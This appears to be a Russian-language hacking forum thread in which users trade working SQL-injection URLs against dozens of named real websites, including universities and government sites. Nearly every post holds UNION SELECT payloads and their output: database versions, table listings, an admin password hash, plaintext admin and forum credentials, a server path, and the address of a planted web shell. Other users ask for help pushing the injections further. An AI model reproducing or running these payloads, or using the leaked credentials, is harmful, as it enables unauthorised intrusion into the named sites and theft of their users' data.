БАЯН! уже второй раз постишь http://www.google.ru/search?complete=1&hl=en&newwindow=1&q=site%3Aforum.antichat.ru+eggs.net.ua&btnG=Search&aq=f
Astrakhanfm.ru - PR 4 Glier.ru - PR 3 5 версия, таблы.. /admin Activetoy.co.uk - PR 3 Kenzahealth.co.za 5 ветка, нужная нам таблица... мемберы.. рут.... Ash-graphics.co.uk Robappelhof.com Chichomerida.com Nea7 ты думаеш я помню что выкладывал ? ты знаеш через сколько сайтов мои руки проходят ? тем более то что выкладовал уже не актуально! + в антибояне нету!
diso.interatletika.com http://diso.interatletika.com/index.php?option=com_simpleshop&task=browse&Itemid=92&catid=-1+UNION+SELECT+1,2,3,4,5,6,7,8%23 VERSION(): 5.0.51a-community DATABASE(): interatlet_diso USER(): interatlet_diso@localhost
Radioas.ro - PR 4 5 ветка.. таблы и phpbb )) получайем доступ к форуму: /forum radioasforum;pswd13 пытался залить шелл... но неудача, навреника нету прав на запись аватарок ( если кто что зальет пишите..) Yelli.co.il - PR 4 5 ветка, вывод таблиц в сорсе.. мемберы.. Surcon.ru - PR 4 5 ветка и таблы.. Teamcalendars.co.uk 5 ветка, таблы. /admin /index.php?p=Upload Stars.com.ua
http://www.utsmow.ru/sport/sport.php4?sport_id=-1+union+select+1,2,3,4,5,6,7,8,9 5 мускул, ничего полезного в табличках не обнаружено... ч то-то не катит сегодня...
Code: http://[COLOR=Red][SIZE=5]www.tubebrasil.com.br[/SIZE][/COLOR]/ugroups.php?UID=745/**/union/**/select/**/1,2,3,4,5,6,concat_ws(0x3a,username,pwd),8,9,0,1,2,3,4,5,6,7,8/**/from/**/%73%69%67%6E%75%70-- admin:969d4931173451a004d2a3f6037e162c
Rustavi2.com - PR 4 меня очень порадовал здесь вывод... LASTEST NEWS: и идет перебор таблиц с интервалом в сек.)) так же красиво просматриваем юзеров.. Eaststaffsbc.gov.uk - PR 4 Guillembalague.com - PR 4 Gkovacs.de - PR 3 5 ветка, таблы.. пароли.. Astrotur.ru - PR 3
Санкт-Петербугский Государственный Университет Гражданской Авиации http://www.academiaga.ru/index.php?id=-1+union+select+concat(nick,0x27,password,0x27,email,0x27,id),2,3,4+from+users+limit+1,1311/*&lang=0
Jordanpost.com.jo - PR 5 5 версия мускуля, таблицы) Montrealmedia.com - PR 5 Khan.co.il - PR 5 Еврейский теарт) Mahkamahkonstitusi.go.id - PR 5 Toeic.com.vn - PR 4 5 ветка, таблы.. админка Complete-gardens.co.uk - PR 4 4 ветка.. Linkstorm.com - PR 3 5 ver. tables. мемберы.. /admin - 403 Cistyle.de 5 ветка и таблы. admin:login
Начинаю осваиваться facasper.com.br (какой-то Бразильский сайт) Code: http://www.facasper.com.br/jo/unotas.php?sub_categoria=-16+union+select+1,2,3,concat_ws(version(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/* user - [email protected] version - 5.0.24a-standard Таблицы (from information_schema): Code: http://www.facasper.com.br/jo/unotas.php?sub_categoria=-16+union+select+1,2,3,concat_ws(table_name,table_schema),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables/* Раскрытие пути: Code: /usr/local/apache/htdocs/facasper.com.br/pos/nucleo_pesquisa/edicao/conexao/
.edu Code: http://www.msse.umn.edu/alumni_calendar.php?id=199'union+select+1,2,unhex(hex(concat_ws(version(),0x3a,user()))),4,5,6,7,8,9,10/* version - 5.0.18 user - [email protected] Юзеров с паролями не нашел, т.к. то таблицы нет, то доступ запрещен. P.S: отдельная благодарность aka PSIH, sabe и Ershik за помощь с функциями кодировки
Riptopia.com - PR 5 5 ветка.... и нече интересного в базе.. это уже интереснее.. Tv-live.ro Bugstrainingcenter.com 5 ветка и таблы... но сам сайт очень медленый.. Metabras.ro Ghanadate.co.uk Scarsdalecoops.com Sb-fitnes.net Danielletaaffe.com
http://pravostok.ru/adm/ admin:Cr#27Ma шелл http://pravostok.ru/uploaded/Alaska/148.php http://pravostok.ru/ru/updates/index.php?from=10&id=-%2099999+union+select+1,2,concat_ws(0x3a,ADMINISTRATOR_ID,LOGIN,PASSWORD_MD5),4,5,6,7,8,9,10,%20%2011,12,13,14+from+ADMINISTRATOR/* посмотрите пожалуйста что там и как
Помогите с http://la2s.a42.ru/index.php?d=library/news&p=comments&newsid=-1'+union+select+1,2,3,table_name+from+information_schema.tables+limit+1,1/* Названия таблиц выводятся, но при попытке вывести данные http://la2s.a42.ru/index.php?d=library/news&p=comments&newsid=-1%27+union+select+1,2,3,concat_ws(0x3a,name,member_login_key)+from+ibf_members+limit+0,1/* автоматически добавляет site.news к названию таблицы, и пишет что такой то таблицы нету
http://www.mongoliatourism.gov.mn 4 ветка,полей для вывода нет,нашел нефильтруемый параметр id в index.php и download.php есть табличка users с колонками id,name,pass http://www.must-library.edu.mn Очень бажный сайт, 3 версия мускула...
Chemeng.technion.ac.il - PR 6 Spatialinformationdesignlab.org - PR 6 columbia university organization Pzb.com.pl - PR 4 Infokom-sulteng.go.id - PR 3 5 ver. tables.. Mojmac.com Cashsavings2003.com Cowcanfly сморим таблицы... и базы в которых они находятся.. а вот и все юзеры.. )
